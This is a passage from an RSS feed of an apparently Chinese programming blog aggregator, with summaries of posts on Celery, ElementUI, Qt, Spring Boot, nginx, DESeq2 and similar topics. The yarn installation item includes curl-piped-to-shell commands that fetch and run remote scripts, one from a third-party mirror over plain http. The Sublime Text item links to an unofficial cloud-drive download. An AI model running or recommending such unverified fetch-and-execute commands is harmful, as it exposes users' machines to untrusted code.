      <pubDate>Tue, 15 Nov 2022 15:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02849e057e3b239a6aa89996b5b06b94/</guid>
      <description>在Python中使用Celery做异步任务时，安转celery库后，一切设置正常。进行启动时，报错如下：&#xA;ImportError: cannot import name &#39;current_app&#39; from &#39;celery&#39; (d:\ck_test\env\lib\site-packages\celery\__init__.py) 当前环境信息： Python版本：3.7celery版本： 5.2.7eventlet版本：0.33.1redis版本：4.3.4&#xA;报错后重新pip安装Celery，问题依旧，最后排查发现，是由于 Python版本不同 导致的报错 当前将Python版本升级到3.9，在次运行，报错就消失了 当前环境信息： Python版本：3.9.1.3celery版本： 5.2.7eventlet版本：0.33.1redis版本：4.3.4</description>
    </item>
    <item>
      <title>ElementUI图片上传 回显</title>
      <link>https://bchobby.github.io/posts/a9a48f4508becafc9151e100d9f554e6/</link>
      <pubDate>Tue, 15 Nov 2022 14:22:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9a48f4508becafc9151e100d9f554e6/</guid>
      <description>html内容&#xA;&amp;lt;!-- 图片上传 --&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-col :span=&#34;24&#34;&amp;gt; &amp;lt;el-form-item label=&#34;LOGO&#34; prop=&#34;logoImg&#34;&amp;gt; &amp;lt;el-upload class=&#34;upload-demo&#34; ref=&#34;upload&#34; name=&#34;logoImg&#34; :action=&#34;action&#34; :on-success=&#34;uploadSuccess&#34; multiple :accept=&#34;accept&#34; :limit=&#34;1&#34; :show-file-list=&#34;false&#34; :on-exceed=&#34;handleExceed&#34; :on-progress=&#34;uploading&#34; :file-list=&#34;fileList&#34; :before-upload=&#34;beforeAvatarUpload&#34;&amp;gt; &amp;lt;el-button size=&#34;small&#34; type=&#34;primary&#34;&amp;gt;点击上传&amp;lt;/el-button&amp;gt; &amp;lt;div slot=&#34;tip&#34; class=&#34;el-upload__tip&#34; style=&#34;color:#F00&#34;&amp;gt;注：只能上传jpg/png文件，图片尺寸必须377mm x 60mm, 且不超过500KB&amp;lt;/div&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item v-show=&#34;imgShow&#34;&amp;gt; &amp;lt;img :src=&#34;imgSrc&#34; style=&#34;width: 300px&#34;&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;/el-row&amp;gt; 针对up-load组件，官网有详细的解释文档，可以看这里&#xA;我大概解释下用到的属性事件等&#xA;name ： 为上传的文件字段名（上传接口入参的字段名）&#xA;action ： 为文件的上传地址，可以在data中定义，mounted钩子函数中对其赋值，写入后端给定的一个地址即可&#xA;data () { return { action: &#39;&#39;, // 如果在html中携带accept则默认选择规定类型的文件，否则可以在钩子函数中判断上传的文件类型 accept: &#34;.jpg,.png&#34;, // .doc,.docx,.ppt,.xls,.xlsx,.wps,.dps,.pdf,.txt, fileList: [], } }, mounted () { this.</description>
    </item>
    <item>
      <title>Qt6 安装串口模块 QSerialPort</title>
      <link>https://bchobby.github.io/posts/5f898dc6f71ca31eca17677c2e14e693/</link>
      <pubDate>Tue, 15 Nov 2022 13:13:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f898dc6f71ca31eca17677c2e14e693/</guid>
      <description>1. 前言 Qt 似乎在 5.2 版本及之后的版本中不会包含串口库，及以前使用的 QSerialPort 头文件中的内容，但是在使用新版本的 Qt 开发时却想要使用该软件库，那么就需要另辟蹊径，本文尝试重新编译之前版本的 QSerialPort 库并将其安装到新版本的 Qt Creator 中。&#xA;笔者目前使用的 Qt 版本分别为 6.3.1 和 6.2.4。&#xA;2. 下载 QSerialPort 源码 推荐在清华大学开源软件镜像站下载。&#xA;选择目录 qt &amp;gt; official_releases &amp;gt; qt &amp;gt; 5.15 &amp;gt; 5.15.6 &amp;gt; submodules 点击 qtserialport-everywhere-opensource-src-5.15.6.zip 下载。&#xA;这里笔者选择的是 5.15.6 版本的 QSerialPort 源码。&#xA;笔者选择：qtserialport-everywhere-opensource-src-5.15.6.zip&#xA;下载成功后，将其解压，就会看到如下源码列表。&#xA;3. 构建并安装 QSerialPort 工程 使用 Qt Creator 打开解压好的工程，如下图； 点击项目； 在 Build 步骤中添加 Make； 在 Make arguments 中填入 install 选择需要安装的版本和编译方式 Debug 或 Release； 点击构建，稍等片刻，若无报错则说明安装成功，上一步根据自己需要去选择即可，若不清楚，则每个都选择一次，同时再选择 Debug 和 Release 版本再执行一次即可。 4.</description>
    </item>
    <item>
      <title>Stream手动分页</title>
      <link>https://bchobby.github.io/posts/65a6e44f6fb58ccaa3416990c6e56d10/</link>
      <pubDate>Tue, 15 Nov 2022 11:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65a6e44f6fb58ccaa3416990c6e56d10/</guid>
      <description> 手动分页 int pageNum = queryVideoFrom.getPageNum(); int pageSize = queryVideoFrom.getPageSize(); List&amp;lt;User&amp;gt; userList = userMapper.selectAll(); // 手动分页 Map&amp;lt;String, Object&amp;gt; map = Maps.newHashMapWithExpectedSize(5); map.put(&#34;total&#34;, userList.size()); map.put(&#34;pageNum&#34;, pageNum); map.put(&#34;pageSize&#34;, pageSize); map.put(&#34;pages&#34;, (userList.size() + pageSize -1) / pageSize); map.put(&#34;pageList&#34;, userList.stream().skip((pageNum - 1) * pageSize).limit(pageSize).collect(Collectors.toList())); return ApiResult.createSuccess(map); </description>
    </item>
    <item>
      <title>Mac安装yarn的方法</title>
      <link>https://bchobby.github.io/posts/efd83ed7b15be8b9840e29b924a9bcd8/</link>
      <pubDate>Tue, 15 Nov 2022 10:22:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efd83ed7b15be8b9840e29b924a9bcd8/</guid>
      <description>@Mac安装yarn的方法&#xA;1、mac如果没安装过homeBrew先运行这个命令 /usr/bin/ruby -e “$(curl -fsSL http://cdn.jsdelivr.net/gh/ineo6/homebrew-install/install)” 安装完 关闭窗口重新打开 检查版本yarn --version 检查是否安装成功&#xA;2、安装过homeBrew的 可以直接通过homeBrew安装 /bin/bash -c &#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&#34; npm install --global yarn yarn --version 装完之后 可以新建一个文件夹 右键打开黑窗口 yarn init 然后enter到底 再安装一下淘宝镜像：&#xA;yarn config set registry https://registry.npm.taobao.org 3、用脚本直接安装 curl -o- -L https://yarnpkg.com/install.sh | bash yarn困扰我两天。百度很久 又一顿试终于好使了&#xA;下面是找的一些其它的关于yarn的&#xA;使用 brew 移除 yarn&#xA;brew uninstall --force yarn npm r -g yarn 查询 yarn 的位置&#xA;which yarn /usr/local/bin/yarn 使用 rm 移除 yarn 和 yarnpkg</description>
    </item>
    <item>
      <title>Spring Boot</title>
      <link>https://bchobby.github.io/posts/d2b84a7bb8d211a07fd6ecbf4db9d426/</link>
      <pubDate>Tue, 15 Nov 2022 10:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2b84a7bb8d211a07fd6ecbf4db9d426/</guid>
      <description>1 什么是springboot ？ 用来简化spring应用的初始搭建以及开发过程 使用特定的方式来进行配置（properties或yml文件）&#xA;创建独立的spring引用程序 main方法运行 嵌入的Tomcat 无需部署war文件 简化maven配置 自动配置spring添加对应功能starter自动化配置 答：spring boot来简化spring应用开发，约定大于配置，去繁从简，just run就能创建一个独立的，产品级别的应用&#xA;2 Springboot 有哪些优点？ -快速创建独立运行的spring项目与主流框架集成 -使用嵌入式的servlet容器，应用无需打包成war包&#xA;-starters自动依赖与版本控制 -大量的自动配置，简化开发，也可修改默认值 -准生产环境的运行应用监控 -与云计算的天然集成&#xA;3 如何重新加载Spring Boot上的更改，而无需重新启动服务器？ 这可以使用DEV工具来实现。通过这种依赖关系，您可以节省任何更改，嵌入式tomcat将重新启动。 Spring Boot有一个开发工具（DevTools）模块，它有助于提高开发人员的生产力。Java开发人员面临的一个主要挑战是将文件更改自动部署到服务器并自动重启服务器。 开发人员可以重新加载Spring Boot上的更改，而无需重新启动服务器。这将消除每次手动部署更改的需要。Spring Boot在发布它的第一个版本时没有这个功能。 这是开发人员最需要的功能。DevTools模块完全满足开发人员的需求。该模块将在生产环境中被禁用。它还提供H2数据库控制台以更好地测试应用程序。 org.springframework.boot spring-boot-devtools true 4 Spring Boot、Spring MVC 和 Spring 有什么区别？ 1、Spring&#xA;Spring最重要的特征是依赖注入。所有 SpringModules 不是依赖注入就是 IOC 控制反转。&#xA;当我们恰当的使用 DI 或者是 IOC 的时候，我们可以开发松耦合应用。松耦合应用的单元测试可以很容易的进行。&#xA;2、Spring MVC&#xA;Spring MVC 提供了一种分离式的方法来开发 Web 应用。通过运用像 DispatcherServelet，MoudlAndView 和 ViewResolver 等一些简单的概念，开发 Web 应用将会变的非常简单。&#xA;3、SpringBoot&#xA;Spring 和 SpringMVC 的问题在于需要配置大量的参数。</description>
    </item>
    <item>
      <title>Sublime Text安装</title>
      <link>https://bchobby.github.io/posts/8e90ab1a579bf9a855d519e0963c3b7d/</link>
      <pubDate>Tue, 15 Nov 2022 00:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e90ab1a579bf9a855d519e0963c3b7d/</guid>
      <description>下载链接:&#xA;链接：https://pan.baidu.com/s/1s19mToxdjMCfsnCQ50BozA&#xA;提取码：2022&#xA;1.鼠标右击【Sublime Text Build3207（64bit)】压缩包选择【解压到 Sublime Text Build3207（64bit)】。&#xA;2.打开解压后的文件夹，鼠标右击【sublime_text.exe】点击发送到桌面创建快捷方式即可。&#xA;3.安装成功。</description>
    </item>
    <item>
      <title>一篇文章，带你了解CodeTour与入门指导</title>
      <link>https://bchobby.github.io/posts/1a2fe18902e9e0a056d9b6d6315bad30/</link>
      <pubDate>Tue, 15 Nov 2022 00:20:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a2fe18902e9e0a056d9b6d6315bad30/</guid>
      <description>CodeTour（代码之旅）是微软官方开发的 VS Code 扩展，允许记录和回放代码的演练和思路。&#xA;简介 CodeTour 是一个 VS Code 插件，允许记录和回放代码库的演练和思路。我们通常都是通过代码注释或者文档来解释某段代码或方法的功能及逻辑，这样的方法相对简便，但是对阅读的人来说还不够友好，CodeTour 允许我们为代码添加备注，并且将这些备注串联起来，动态地展示我们的思路以及代码逻辑。&#xA;就像一个目录，可以轻松地加入到新的项目/功能，并且可视化错误报告或了解代码审查/PR 更改的上下文。&#34;code tour&#34;只是一系列交互步骤，每个步骤都与特定目录或文件/行进行关联，并包括对相应代码的描述。开发人员可以 clone 一个仓库，然后立即开始学习，而无需参考 CONTRIBUTING.md 文件或依赖他人的帮助。&#xA;CodeTour 是一个 Visual Studio Code 扩展，它允许您录制和播放代码库的引导式演练。它就像一个目录，可以更轻松地加入（或重新加入！）到新的项目/功能区域，可视化错误报告，或理解代码审查/PR更改的上下文。“代码导览”只是一系列交互式步骤，每个步骤都与特定目录或文件/行相关联，并包含相应代码的描述。这允许开发人员克隆存储库，然后立即开始学习它，而无需参考文件和/或依赖他人的帮助。游览可以签入存储库，以便与其他贡献者共享，也可以导出到“游览文件”中，该文件允许任何人重播相同的游览，而无需克隆任何代码来执行此操作！&#xA;项目地址：https://github.com/microsoft/codetour&#xA;入门 录制 单击树视图中的 + 按钮 CodeTour（如果它可见）或运行 CodeTour: Record Tour 命令。这将启动 CodeTour并输入此处编辑者的名字，这时候我们可以开始打开文件，单击要注释的行的“注释栏”，然后添加相应的描述。添加任意数量的步骤，完成后，单击停止。&#xA;录制时，CodeTour 树状视图将显示当前录制的预览，以及当前的一组步骤。可以知道当前正在进行哪个 tour 的录制。&#xA;如果需要在录制时编辑或删除步骤，单击 ... 步骤描述旁边的菜单，然后选择适当的操作，也可以从 CodeTour 树视图中查找编辑/删除步骤。&#xA;工作区 在录制时，系统会要求选择要将 tour 文件保存到的文件夹。这是必要的，因为 tour 作为文件写入工作区，需要明确 tour 应保存到哪个文件夹。&#xA;步骤标题 默认情况下，CodeTour 树使用以下显示名称格式显示每个游览步骤：&#xA;# 步骤-文件名 #&amp;lt;stepNumber&amp;gt; - &amp;lt;filePath&amp;gt; 右键单击 CodeTour 树中的步骤并选择 Change Title&#xA;支持 Markdown 语法，可以使用任何标题级别。例如，如果添加一个描述以 ### Activation 开头的步骤，步骤和树视图将如下所示：</description>
    </item>
    <item>
      <title>RK3588长按power键强制关机的按键时间设置</title>
      <link>https://bchobby.github.io/posts/9209d7eb0f19d7916936b4991529fe34/</link>
      <pubDate>Mon, 14 Nov 2022 20:19:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9209d7eb0f19d7916936b4991529fe34/</guid>
      <description>RK3588长按power键强制关机的按键时间设置 本文适用于RK3588+RK806(电源管理芯片)的方案，power(电源)键是直接控制RK806来控制RK3588的上下电，可以实现短按开机、长按强制断电关机的功能，可以通过控制RK806的寄存器来设置长按的时间长短。&#xA;RK3588按power键强制关机的按键时间设置 RK806的power键长按时间可以配置为如下几个值：&#xA;00: 6000ms,01: 8000ms,10: 10000ms,11: 12000ms&#xA;下面以配置12秒为例进行说明，其中PMIC是单pmic的方案，如果是双pmic的话需要修改rk3588-rk806-dual.dtsi :~/a2_Android13_29_sdk/kernel-5.10$ git diff diff --git a/arch/arm64/boot/dts/rockchip/rk3588-rk806-single.dtsi b/arch/arm64/boot/dts/rockchip/rk3588-rk806-single.dtsi index 62f3403789b7..48e28aa0c85f 100644 --- a/arch/arm64/boot/dts/rockchip/rk3588-rk806-single.dtsi +++ b/arch/arm64/boot/dts/rockchip/rk3588-rk806-single.dtsi @@ -44,6 +44,10 @@ */ pmic-reset-func = &amp;lt;1&amp;gt;; + /* PWRON_LP_OFF_TIME: PWRON long press time: + * 00: 6000ms, 01: 8000ms, 10: 10000ms, 11: 12000ms */ + pwron-lp-off-time = &amp;lt;12000&amp;gt;; + vcc1-supply = &amp;lt;&amp;amp;vcc5v0_sys&amp;gt;; vcc2-supply = &amp;lt;&amp;amp;vcc5v0_sys&amp;gt;; vcc3-supply = &amp;lt;&amp;amp;vcc5v0_sys&amp;gt;; diff --git a/drivers/mfd/rk806-core.c b/drivers/mfd/rk806-core.c index 5421ac95578f.</description>
    </item>
    <item>
      <title>C&#43;&#43;11下的单例模式</title>
      <link>https://bchobby.github.io/posts/d2c6bc851c1cab750583321f1c43c67d/</link>
      <pubDate>Mon, 14 Nov 2022 20:19:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2c6bc851c1cab750583321f1c43c67d/</guid>
      <description> 动机：在软件系统中，经常有这样一些特殊的类，必须保证它们在系统中只存在一个实例，才能确保它们的逻辑正确性、以及良好的效率。 绕过常规的构造器，提供一种机制来保证一个类只有一个实例。&#xA;定义：保证一个类仅有一个实例，并提供一个该实例的全局访问点。&#xA;1、C++11中可以保证static变量时多线程安全的，在底层实现了加锁操作，所以不需要像以前那样自己写加锁操作。&#xA;2、由于是一个static对象，可以保证对象只生成一次；&#xA;3、在程序结束的时候，系统会调用对应的析构函数；如果是new出来的对象，程序结束的时候，系统不会自动调用析构函数。&#xA;4、GetInstance()的返回值需要是指针或者引用，不然会出现值拷贝；最好是指针，用户使用起来会方便一些；如果返回指针每次使用该类的时候都需要GetInstance()；返回指针就可以使用指针调用该类中的函数了。&#xA;class Singleton{ private: //默认构造和拷贝构造都需要是private Singleton(); Singleton(const Singleton&amp;amp; other); public: static Singleton* GetInstance(){ static Singleton instance; return &amp;amp;instance; } //member function void fun(){ cout&amp;lt;&amp;lt;&#34;member function&#34;&amp;lt;&amp;lt;endl; } }; int main(){ Singleton* p = Singleton::GetInstance(); p-&amp;gt;fun(); //如果返回是引用 //Singleton::GetInstance().func(); } 以前的写法：&#xA;单线程安全+多线程安全（低效）+双检查锁&#xA;class Singleton{ private: Singleton(); Singleton(const Singleton&amp;amp; other); public: static Singleton* GetInstance(); static Singleton* instance_; }; Singleton* Singleton::instance_=nullptr; //线程非安全版本 Singleton* Singleton::GetInstance() { //在多线程的情况下，可能会出现这个对象被创建多次的情况 if(instance_ == nullptr){ 在执行下一行代码之前可能会抢进来多个线程，导致创建多个实例 instance_=new Singleton; } return instance_; } //线程安全版本，但锁的代价过高 // Singleton* GetInstance(){ Lock lock; if(instance_==nullptr){ instance_=new Singleton; } return instance_; } //双检查锁，但由于内存读写reorder不安全(volatile) Singleton* GetInstance(){ //第一个检查，如果只是读操作，就不许用加锁 if(instance_==nullptr){ Lock lock; //第二个检查，保证只有一个 if(instance_==nullptr){ instance_=new Singleton; } } return instance_; } </description>
    </item>
    <item>
      <title>nginx配置rtmp的配置文件</title>
      <link>https://bchobby.github.io/posts/fc013174cc115ab74615825ac4d2267d/</link>
      <pubDate>Mon, 14 Nov 2022 20:07:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc013174cc115ab74615825ac4d2267d/</guid>
      <description>worker_processes auto; #worker_processes auto; #1.3.8和1.2.5以及之后的版本 #错误日志存放的路径 error_log logs/error.log error; #error_log logs/error.log error; #error_log logs/error.log error; #允许的最大连接数 events { worker_connections 4096; } http { #文件扩展名与文件类型映射表 include mime.types; #默认的文件类型 default_type application/octet-stream; #长连接超时时间 keepalive_timeout 65; server { #监听端口 listen 8088; location / { root html; } #域名 server_name localhost; #50x页面设置 error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } location /live { flv_live on; #打开HTTP播放FLV直播流功能 chunked_transfer_encoding on; #支持&#39;Transfer-Encoding: chunked&#39;方式回复 add_header &#39;Access-Control-Allow-Origin&#39; &#39;*&#39;; #添加额外的HTTP头 add_header &#39;Access-Control-Allow-Credentials&#39; &#39;true&#39;; #添加额外的HTTP头 } location /hls { types { application/vnd.</description>
    </item>
    <item>
      <title>js 实现元素拖拽</title>
      <link>https://bchobby.github.io/posts/df111849515fa93155a477139559c4de/</link>
      <pubDate>Mon, 14 Nov 2022 19:56:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df111849515fa93155a477139559c4de/</guid>
      <description> &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; html,body{ /*必须使用此CSS，否则body上的事件无效*/ width:100%; height:100%; } #dd{ width:120px; height:120px; background:#00ff00; position:absolute; } &amp;lt;/style&amp;gt; &amp;lt;script&amp;gt; var dd; //要拖动的div引用 var mflag=false; //移动标志位 function ondown(){ dd=document.getElementById(&#39;dd&#39;); mflag=true; } function onmove(e){ if(mflag){ dd.style.left=e.clientX-60+&#34;px&#34;; //-60是为了把鼠标放在div的中心 dd.style.top=e.clientY-60+&#34;px&#34;; } } function onup(){ mflag=false; } &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body onmousemove=&#34;onmove(event)&#34;&amp;gt; &amp;lt;!-- 放在body上是为了鼠标快速移动时不会脱离div --&amp;gt; &amp;lt;div id=&#39;dd&#39; onmousedown=&#39;ondown()&#39; onmouseup=&#39;onup()&#39; style=&#39;left:80px; top:120px;&#39;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>Quartus基础05</title>
      <link>https://bchobby.github.io/posts/6a6f7a9dd9acb3ded0b4d297b6842956/</link>
      <pubDate>Mon, 14 Nov 2022 16:55:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a6f7a9dd9acb3ded0b4d297b6842956/</guid>
      <description>不建议用quartus13以前的版本(旧版带的USB blaster驱动可能在WIN8、WIN10上面安装不了)，还有quartus13及以后的版本都把IDE和器件包分成两部分，记得下载器件包。此外，quartus13.0sp1是最后一个支持cyclone II的版本。&#xA;1、AHDL文件，用于编写Altera发明的AHDL语言，此语言已经被淘汰，可以不管它。&#xA;2、Block Diagram/Schematic文件，原理图文件，跟AD、PADS、Cadence等电路图设计软件的用法差不多。&#xA;3、EDIF文件，网表文件。&#xA;4、Qsys system文件，用于设计软核，Qsys前身是NIOS。&#xA;5、State Machine文件，状态机文件。&#xA;6、System Verilog文件，用于系统级验证。&#xA;7、Tcl script文件，TCL脚本文件。&#xA;8和9、常用的HDL文件（包括verilog和VHDL）&#xA;10是十六进制文件，11是MIF文件，用于ROM或RAM的初始化。&#xA;12、Probe文件，用于观察FPGA内部某一信号，一般用Signaltap&#xA;13、 逻辑分析仪接口文件，暂时不知道有什么用。&#xA;14、VWF文件，用于调用quartus自带的仿真工具QSIM&#xA;15、AHDL头文件，可以不管它。&#xA;16、原理图的Symbol文件，用于编辑原理图Symbol，跟你用电路图设计软件时，画原理图库差不多。&#xA;17、JTAG链描述文件，给一个或多个芯片下载代码时用的。&#xA;18、Synopsys约束文件，时序约束用的SDC文件。&#xA;19、txt文件。&#xA;特别要注意一下，不同类型的文件，名字最好不一样。比如，已经有了test.v，就不要用弄test.vwf，不然你双击test的原理图Symbol的时候，会问你要打开test.v还是test.vwf，让你浪费不必要时间。我一般是除了.v或.vhd文件用test之外，vwf就用test_vwf.vwf，bdf就用test_top.bdf。&#xA;特别要说明两个symbol，VCC代表高电平，GND代表低电平，可用于使能或者其它用途。&#xA;调用quartus自带的IP核，也叫宏功能模块（LPM）&#xA;原理图symbol之间的连线要注意一下位宽，不然会出错。也可以使用网络标号，先把线引出来，选中线，再输入网格标号就可以了，但是要注意一下格式，如：qout是8位，网络标号就要写成qout[7..0]。也有些特殊用法。symbol则只连了[63..32]这几个脚&#xA;下载完之后，FPGA并不直接运行代码，需要先断电，再上电，FPGA才正常工作。&#xA;1、电路占用了62个LE。&#xA;2、电路占用了43个组合电路。&#xA;3、电路占用了55个专用的寄存器。&#xA;4、整个电路占用了55个寄存器。&#xA;5、电路使用了31个引脚，我的FPGA是EP2C8Q208C8N，一共有208个引脚，其中138个引脚是可用的。&#xA;6、电路使用了0个虚拟引脚，虚拟引脚是前期设计时，预先分配的，可以解决引脚不够用导致无法综合的问题。&#xA;7、电路使用的内存为0 bit，这里memory是指FPGA内部的存储单元，包括ROM和RAM，其中RAM指的是块RAM而不是分布式RAM，因为分布式RAM是用LE实现的。&#xA;8、电路使用了0个PLL，我这芯片一共有2个PLL，PLL是固核（也可以认为是硬核，硬核和固核的分界线并不是很明确），可以配置一下就调用，某些FPGA会有4个或更多的PLL固核。</description>
    </item>
    <item>
      <title>Android | 电脑cmd中使用adb命令安装apk</title>
      <link>https://bchobby.github.io/posts/e37f9a9a6696e78e9acd8e408c808fa5/</link>
      <pubDate>Mon, 14 Nov 2022 16:41:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e37f9a9a6696e78e9acd8e408c808fa5/</guid>
      <description>目录 一、使用步骤二、常见问题2.1 adb: failed to install xxx.apk: Failure [INSTALL_FAILED_UPDATE_INCOMPATIBLE: Package com.xxx.xxx.xxx signatures do not match previously installed version; ignoring!]2.2 error: cannot connect to daemon 三、参考文献 还挺常用的，不想每次都重复搜那几条命令了，这里记录一下咯。&#xA;一、使用步骤 前提条件：本地有adb，检验方法：在cmd输入 adb version，如果没正常显示版本号，那你乖乖去下载，或者你觉得下载了但就是找不到adb，可以检查一下你的环境变量是不是没存adb.exe的路径；&#xA;打开cmd。如果后面输入命令不生效，可以考虑用管理员身份打开cmd；&#xA;安卓手机连接数据线 + 打开开发者模式 + 勾选USB调试/安装。不同手机的开发者模式打开位置不一样，不过一般是在：设置 → 开发者选项 → 打开USB调试、USB安装；&#xA;检查手机电脑是否成功连接，输入 adb devices，会出现本电脑连接的设备；&#xA;安装apk命令是 adb install apk地址，或者直接拖进来&#xA;覆盖安装 / 重装：apk adb install -r apk地址，同样也可以拖进去。&#xA;二、常见问题 2.1 adb: failed to install xxx.apk: Failure [INSTALL_FAILED_UPDATE_INCOMPATIBLE: Package com.xxx.xxx.xxx signatures do not match previously installed version; ignoring!</description>
    </item>
    <item>
      <title>使用DESeq2进行转录组原始count标准化和差异分析</title>
      <link>https://bchobby.github.io/posts/9cbd915b61afacd17d7f072509abb295/</link>
      <pubDate>Mon, 14 Nov 2022 15:29:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cbd915b61afacd17d7f072509abb295/</guid>
      <description>转录组测序完成后，一般我们会获得一个原始 read count表达矩阵，其中行是基因，列是样品。常用的差异分析工具包括limma、edgeR和DESeq2。DESeq2在测序领域使用最为广泛（google scholar引用高达43284次，edgeR为28076次）。小编今天给大家介绍下我们的在线DESeq2差异分析模块，小伙伴们可以零代码进行GEO数据库表达矩阵的挖掘，后续再利用我们平台的各种绘图模块出图，大大加速了我们的科学研究。&#xA;1.打开绘图页面&#xA;首先，使用浏览器（推荐chrome或者edge）打开DESeq2差异分析页面。左侧为常见作图导航，中间为数据输入框和可选参数，右侧为描述和结果示例。也可以在搜索框中搜索deseq2，找到分析页面。&#xA;微生信-在线转录组（mRNA-seq等）raw counts DESeq2标准化及差异表达分析&#xA;图1，DESeq2分析页面&#xA;2，示例数据&#xA;点击右侧“示例数据”链接下载excel格式的示例数据。&#xA;图2. Raw count输入数据示例&#xA;示例raw count矩阵包括8列： 第1列是基因id，必需唯一；&#xA;第2-4列是DHT组3个样品；&#xA;第5-8列是Control组4个样品。&#xA;图3. 比较方案输入数据示例&#xA;示例分组比较方案包括5列：&#xA;第1列是实验组的样品列表，共3个，英文逗号分隔&#xA;第2列是对照组的样品列表，共4个，英文逗号分隔&#xA;第3列是实验组组名&#xA;第4列是对照组组名&#xA;第5列是样品配对与否，unpaired表示非配对，paired表示配对。例如从1号、2号、3号共三个患者身上分别取癌症样品cancer1，cancer2，cancer3，对照样品norm1，norm2，norm3，那么paired配对比较时，顺序不能变，即：1号患者的cancer1，对应1号患者的norm1；2号患者的cancer2对应2号患者的norm2；3号患者的cancer3对应3号患者的norm3。而非配对比较（unpaired）则不考虑这种对应关系。&#xA;3，粘贴示例数据&#xA;拷贝示例数据中A-H列的raw count数据，粘贴到矩阵输入框。&#xA;拷贝J-N列的比较信息，粘贴到比较输入框。&#xA;注意：不是拷贝excel文件，是拷贝excel文件里边的数据。另外粘贴到输入框后，格式乱了没关系，只要在excel中是整齐的就行。同时数据矩阵中不能有空的单元格，中文字符等。&#xA;图4. 必需输入-raw count矩阵&#xA;图5. 必需输入-比较方案&#xA;4，修改参数，并提交&#xA;我们设置了原始count数之和的过滤最小过滤参数，默认不过滤。&#xA;图6.过滤参数&#xA;5，提交获得结果&#xA;粘贴好输入数据，调整好参数后，点击提交按钮，约60秒钟后，会在页面右侧出现结果下载链接。下载并解压后，可以使用excel打开并利用筛选功能根据fold change和p值筛选差异表达基因，绘制热图，火山图，进行功能富集分析。&#xA;图7.结果下载&#xA;结果说明&#xA;由于我们未对低表达值进行过滤，因此，输入矩阵是多少个基因，分析结果也是多少个基因。&#xA;第1个sheet是表达谱，包括原始count和标准化count&#xA;第2+个sheet是差异总表。&#xA;图8. 差异结果&#xA;Fold change：两组间的倍数变化。正表示上调，负表示下调&#xA;Log2FoldChange：log2转化的倍数变化。正表示上调，负表示下调&#xA;Pvalue：p值&#xA;Padj：校正的p值&#xA;Regulation：上调或下调&#xA;*（mean）：各组的标准化表达均值&#xA;不同平台相互印证测试&#xA;除了阅读DESeq2官方文档并使用官方代码外，我们还使用相同的raw count矩阵测试了其他4个第三方平台：DEApp，基迪奥，欧易，sangerbox。在这5个平台中，微生信的结果和sangerbox完全一样，而与其他3个平台的结果均略有差异（见图9）。图中所示785个基因是4种平台共有的，约占90%以上。&#xA;图9. 4种平台上调结果比较 究其原因，可能主要是内部filter过滤参数不一致造成的。在DESeq2官方文档中：While it is not necessary to pre-filter low count genes before running the DESeq2 functions, there are two reasons which make pre-filtering useful: by removing rows in which there are very few reads, we reduce the memory size of the dds data object, and we increase the speed of the transformation and testing functions within DESeq2.</description>
    </item>
    <item>
      <title>去水印神器（Lama Cleaner）</title>
      <link>https://bchobby.github.io/posts/eee61e8a0f5ff0e4bf8aa7f529ec22d7/</link>
      <pubDate>Mon, 14 Nov 2022 13:18:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eee61e8a0f5ff0e4bf8aa7f529ec22d7/</guid>
      <description> Lama Cleaner 功能：可以帮助我们去掉图片中不想要的东西，比如：水印、背景中的人等等&#xA;使用：&#xA;首先，Python新建一个虚拟环境创建成功后，激活虚拟环境，安装库，如下面的两条命令pip install lama-cleaner # 需要一段时间，才能下载成功 # 开始运行，第一次运行会从github上下载模型，注意网络的问题 lama-cleaner --model=lama --device=cpu --port=8080 执行命令之后，终端会显示一个IP和Port，打开浏览器访问即可 转载：https://blog.csdn.net/c406495762 </description>
    </item>
    <item>
      <title>根据ID取商品详情原数据 API 返回值说明</title>
      <link>https://bchobby.github.io/posts/c5e70c72f6b5f4066ab97805092eedd8/</link>
      <pubDate>Mon, 14 Nov 2022 12:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5e70c72f6b5f4066ab97805092eedd8/</guid>
